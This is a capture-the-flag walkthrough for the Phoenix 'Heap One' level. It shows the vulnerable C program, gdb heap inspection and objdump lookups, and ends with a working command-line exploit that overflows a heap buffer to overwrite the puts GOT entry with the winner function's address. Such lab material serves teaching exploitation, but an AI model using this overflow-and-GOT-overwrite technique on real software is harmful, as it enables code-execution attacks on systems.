Phoenix - Heap One
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
struct heapStructure {
int priority;
char *name;
};
int main(int argc, char **argv) {
struct heapStructure *i1, *i2;
i1 = malloc(sizeof(struct heapStructure));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct heapStructure));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
void winner() {
printf(
"Congratulations, you've completed this level @ %ld seconds past the "
"Epoch\n",
time(NULL));
}
This code uses strcpy without size checking just like the previous level, but there is not function pointer here to overwrite.
Let’s look at the memory layout, remember that malloc returns the allocation address in eax so we can set breakpoints after each call to get i1 and i2 addresses (also these two addresses are stored at ebp-0xc and ebp-0x10).
$ gdb -q /opt/phoenix/i486/heap-one
Reading symbols from /opt/phoenix/i486/heap-one...(no debugging symbols found)...done.
gef➤ b *0x08048883
Breakpoint 1 at 0x8048883
gef➤ r AAAA BBBB
Starting program: /opt/phoenix/i486/heap-one AAAA BBBB
Breakpoint 1, 0x08048883 in main ()
gef➤ x/xw $ebp-0xc
0xffffd6fc: 0xf7e69008
gef➤ x/xw $ebp-0x10
0xffffd6f8: 0xf7e69028
gef➤ x/12xw 0xf7e69008
0xf7e69008: 0x00000001 0xf7e69018 0x00000000 0x00000011
0xf7e69018: 0x41414141 0x00000000 0x00000000 0x00000011
0xf7e69028: 0x00000002 0xf7e69038 0x00000000 0x00000011
gef➤ x/12xw 0xf7e69028
0xf7e69028: 0x00000002 0xf7e69038 0x00000000 0x00000011
0xf7e69038: 0x42424242 0x00000000 0x00000000 0x000fffc1
0xf7e69048: 0x00000000 0x00000000 0x00000000 0x00000000
We can see that i1 is at 0xf7e69008, first value priority is 0x1 and second value is name address returned from malloc(8) which is 0xf7e69018 and we can see that strcpy is writing to that address.
So if we overflow i1 to write to name address of i2 we can overwrite any value in memory with the value of argv[2], but what to overwrite ???
gef➤ disassemble main
Dump of assembler code for function main:
0x0804887e <+169>: push 0x804ab70
=> 0x08048883 <+174>: call 0x80485b0 <puts@plt>
0x08048888 <+179>: add esp,0x10
You guessed it (I hope), we will overwrite the GOT entry of the puts function to point to winner function.
$ objdump -R /opt/phoenix/i486/heap-one | grep puts
0804c140 R_386_JUMP_SLOT puts
$ objdump -t /opt/phoenix/i486/heap-one | grep winner
0804889a g F .text 00000027 winner
puts is at 0x0804c140 and winner is at 0x0804889a, and the needed offset = 0xf7e6902c - 0xf7e69018 = 20 bytes.
Note that in the assembly, winner function uses printf not puts so we can safely overwrite puts function.
Solution:
$ /opt/phoenix/i486/heap-one $(python -c "print 'A'*20 + '\x40\xc1\x04\x08'") $(python -c "print '\x9a\x88\x04\x08'")
Congratulations, you've completed this level @ 1580310733 seconds past the Epoch